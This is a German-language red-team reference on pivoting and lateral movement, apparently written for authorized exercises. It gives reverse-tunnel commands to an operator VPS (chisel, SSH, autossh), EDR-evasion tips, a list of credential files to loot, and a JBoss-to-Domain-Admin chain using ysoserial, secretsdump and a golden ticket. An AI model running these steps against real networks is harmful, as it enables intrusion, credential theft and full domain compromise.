Internal Pivoting & Lateral Movement.
Tunnel-Topologien, Port-Forwarding-Muster, der Übergang vom Web-Kompromiss zum internen Foothold und ein durchgespielter JBoss-zu-Domain-Fall.
Tunnel-Topologien — die richtige wählen
- SOCKS über SSH.
ssh -D 1080 user@foothold+proxychains. Standardwahl wenn der Foothold SSH hat und das Netz Outbound 22 zu deinem VPS erlaubt. Latenz okay, Durchsatz okay, eine TCP-Session. - chisel. Wenn SSH nicht erreichbar:
chisel server -p 8080 --reverseauf deinem VPS,chisel client VPS:8080 R:1080:socksauf dem Foothold. HTTP-/WebSocket-Transport übersteht meiste Egress-Filter. - ligolo-ng. Am besten für Double-Pivot und TCP/UDP zugleich. Erstellt ein TUN-Interface auf Operator-Seite — du sprichst mit
10.x.x.xals wärst du auf dem Segment, kein proxychains nötig. - Reverse-Port-Forward über SSH.
ssh -R 8443:internal-target:443 user@footholdwenn ein einzelner TCP-Service zurück exponiert werden muss. Kleinerer Blast-Radius als ein voller SOCKS-Pivot.
Eine Shell auf instabilem Link halten
- TCP-Keepalives.
ssh -o ServerAliveInterval=60 -o ServerAliveCountMax=3. Erkennt tote Links in ~3 Minuten statt auf den Kernel zu warten. - tmux auf dem Foothold. Nach Disconnect reattachen:
tmux new -s operste Session,tmux attach -t opnach Reconnect. Gleiches in Meterpreter viascreen. - mosh als Fallback. UDP-basiert; übersteht IP-Wechsel (Notebook auf flackerndem Wi-Fi → tethered → zurück). UDP ist oft Egress geblockt, also einkalkulieren, dass es nicht immer geht.
- autossh für unbeaufsichtigte Links.
autossh -M 0 -f -N -R 8443:internal:443 user@footholdmit Keepalives — reconnected innerhalb von Sekunden nach Link-Wiederherstellung.
Web → Internal-Übergang
- Web-App-Erreichbarkeit zu Internal bestätigen.
http://internal-hostaus dem Web-Kontext heraus probieren. Wenn ja → SSRF-style Pivoting ohne Shell nötig. - Foothold-Shell holen. Webshell, Deserialisierungs-Payload, RCE-Kette. In-Memory bevorzugen vor Disk; Named-Pipe vor Socket wenn EDR aktiv.
- Persistenten Egress etablieren. chisel Reverse-Mode über 443 (sieht aus wie HTTPS), oder DNS-over-HTTPS für strengstes Egress-Filtering.
- Sofort auf Pivot-Tunnel umschalten. Webshell als Primär fallenlassen; auf Tunnel für weitere Arbeit umschalten. Webshells sind laut; Tunnel sind leise.
- Foothold einmal looten.
/etc/passwd,~/.ssh/,~/.aws/,~/.kube/, Umgebungsvariablen, Recent Shell History, cron, systemd-Timers, .bash_history. Dann weiter.
Durchgespielte Kette — JBoss zu DA
- Foothold. JBoss-JMX-Console-Deserialisierung (ysoserial CommonsCollections5) → Shell als
jbossauf app01. - Lokales Loot.
/opt/jboss/standalone/configuration/hat DB-Creds in Klartext-XML./etc/sssd/zeigt Domain-Join. - SMB-Enumeration.
impacket-smbclientmit sssd-gecachten Creds → lesbarer Share auf fileserver01 enthält ein PowerShell-Skript. - Credential im Skript. Hardcodiert
$cred = New-Object PSCredential("svc_backup", $pw). svc_backup ist in Backup Operators. - Backup Operators → DC. Backup Operators kann
ntds.ditvia Shadow Copy lesen.vssadmin create shadowauf DC via WinRM,copy,secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL. - Krbtgt-Hash → Golden Ticket. Domain-Kompromittierung komplett. Pause und White Cell informieren.
FaustregelMaximal zwei Tunnel-Layer, außer du brauchst wirklich drei. Jeder Layer verdoppelt Latenz und verdreifacht die Oberfläche für Operator-Fehler. Wenn du vier Hops verkettet, stoppen und erst einen besseren Foothold suchen.
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Von der Referenz zum Befund